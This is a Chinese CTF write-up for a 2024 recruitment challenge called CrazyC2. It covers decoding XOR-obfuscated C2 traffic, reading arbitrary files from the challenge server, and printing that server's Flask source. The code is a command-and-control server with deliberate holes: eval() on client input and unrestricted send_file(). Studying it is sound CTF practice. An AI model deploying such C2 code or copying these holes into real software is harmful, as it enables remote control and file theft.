X1ct34m 2024 Misc 招新题 CrazyC2

本来在CTF中应该都是基操，但是因为本人太菜，弄了好几天才出。。。（T0T）

题目

先是流量分析，看到了很多TCP和HTTP流，追踪大概看一下

看起来传输了很多加密的信息，先把它们全都手动整理出来

直接解base64解不出，但是POST传参时看到了一个random_key，猜是异或用的，果然

看到用curl从攻击机读取了一个文件，我也试着读了一下，发现可以从攻击机中读到任意文件，于是读到了第一个flag

从读一些不存在的文件产生的报错中可以看到python flask源码，读下来进行审计

from flask import Flask, request, jsonify, send_file
import os
import secrets
import base64
from pwn import xor
from threading import Thread

app = Flask(__name__)

clients = {"4ace608657cba629": {"command": "whoami", "random_key": 95}}


@app.route("/init", methods=["GET"])
def init():
    client_id = secrets.token_hex(8)
    random_key = secrets.randbelow(255)
    clients[client_id] = {"command": "echo hello", "random_key": random_key}
    return jsonify({"client_id": client_id, "random_key": random_key})


@app.route("/recv", methods=["POST"])
def send_command():
    data = request.json
    client_id = data["client_id"]
    print(client_id, data["random_key"])
    command = clients[client_id].get("command", "")
    encrypted_command = encrypt_command(
        command, clients[client_id]["random_key"])
    return jsonify({"encrypted_command": encrypted_command})


@app.route("/send", methods=["POST"])
def recv_data():
    data = request.json
    client_id = data["client_id"]
    if eval(data["random_key"]) != clients[client_id]["random_key"]:
        return f"data error", 200
    encrypted_data = data["data"]
    decrypted_data = decrypt_data(
        encrypted_data, clients[client_id]["random_key"])
    print(f"Received data: {decrypted_data.decode()}")
    return f"Received data", 200


@app.route("/files", methods=["POST"])
def recv_file():
    data = request.json
    client_id = data["client_id"]
    random_key = data["random_key"]
    path = data["path"]

    if client_id not in clients.keys():
        return jsonify(
            {"message": "Invalid client_id"}
        )

    if clients[client_id]["random_key"] == int(random_key):
        return send_file(path)
    else:
        return jsonify(
            {"message": "incorrect random_key"}
        )


def encrypt_command(command, key):
    encrypted_data = xor(command, key)
    return base64.b64encode(encrypted_data).decode()


def decrypt_data(encrypted_data, key):
    encrypted_data = base64.b64decode(encrypted_data)
    return xor(encrypted_data, key)


def run_flask_app():
    app.run(host="0.0.0.0", debug=True, port=1337, use_reloader=False)


if __name__ == "__main__":
    flask_thread = Thread(target=run_flask_app)
    flask_thread.start()

    while True:
        command = input("Enter command: ")
        for client_id in clients.keys():
            clients[client_id]["command"] = command
            print(f"Executing: {command}")